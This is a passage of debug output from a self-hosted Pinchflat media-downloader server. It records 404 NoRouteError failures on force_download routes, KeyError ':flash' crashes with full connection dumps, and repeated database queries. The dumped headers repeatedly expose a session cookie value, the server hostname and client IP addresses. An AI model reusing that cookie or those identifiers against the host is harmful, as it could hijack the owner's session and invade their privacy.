(PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/91114/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 54, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVH (truncated) 04:53:49.099 [info] GET /sources/31/media/90907/force_download 04:53:49.100 [debug] QUERY OK source="settings" db=0.3ms idle=106.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.101 [debug] QUERY OK source="settings" db=0.3ms idle=105.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.101 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:49.102 [error] #PID<0.139432.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 55) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90907/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90907/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 55, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139432.0>, params: %{}, path_info: ["sources", "31", "media", "90907", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/90907/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0rKaUi7pyIUAAI8j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 55, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90907/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90907/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 55, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVH (truncated) 04:53:49.109 [info] GET /sources/31/media/91114 04:53:49.110 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 04:53:49.111 [debug] QUERY OK source="media_items" db=0.4ms idle=113.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 04:53:49.112 [debug] QUERY OK source="tasks" db=0.6ms idle=55.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91114] 04:53:49.113 [debug] QUERY OK source="sources" db=0.8ms idle=54.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:49.115 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=13.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6792, 6810, 6829, 6848, 6865, 6883, 6910, 6928, 6945, 6964, 6981, 6997, 7014, 7030, 7048, 7064, 7081, 7098, 7114, 7131, 7147, 7165, 7181, 7198, 7217, 7234, 7253, 7269, 7286] 04:53:49.117 [debug] QUERY OK source="settings" db=0.2ms idle=15.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.117 [info] GET /sources/31/media/90894/force_download 04:53:49.118 [debug] QUERY OK source="settings" db=0.3ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.118 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.120 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.120 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:49.120 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.123 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:49.121 [error] #PID<0.139437.0> running PinchflatWeb.Endpoint (connection #PID<0.139358.0>, stream id 8) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90894/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90894/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139437.0>, params: %{}, path_info: ["sources", "31", "media", "90894", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/90894/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0rOvLgmsN9oAAI-D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90894/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139358.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90894/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dY (truncated) 04:53:49.137 [info] Sent 200 in 28ms 04:53:49.153 [info] GET /sources/31/media/90894 04:53:49.154 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 04:53:49.155 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=36.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 04:53:49.157 [debug] QUERY OK source="tasks" db=0.9ms idle=37.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 04:53:49.157 [debug] QUERY OK source="sources" db=1.0ms idle=36.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:49.160 [debug] QUERY OK source="oban_jobs" db=1.4ms idle=38.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 04:53:49.162 [debug] QUERY OK source="settings" db=0.3ms idle=39.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.163 [debug] QUERY OK source="settings" db=0.3ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.165 [debug] QUERY OK source="settings" db=0.4ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.167 [debug] QUERY OK source="media_profiles" db=0.5ms idle=9.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:49.181 [info] Sent 200 in 27ms 04:53:49.207 [info] GET /sources/31/media/91114/force_download 04:53:49.208 [info] GET /media_profiles/new 04:53:49.209 [debug] QUERY OK source="settings" db=0.3ms idle=48.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.209 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 04:53:49.210 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=46.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.210 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:49.210 [debug] QUERY OK source="media_profiles" db=0.7ms idle=46.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:49.211 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=46.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" 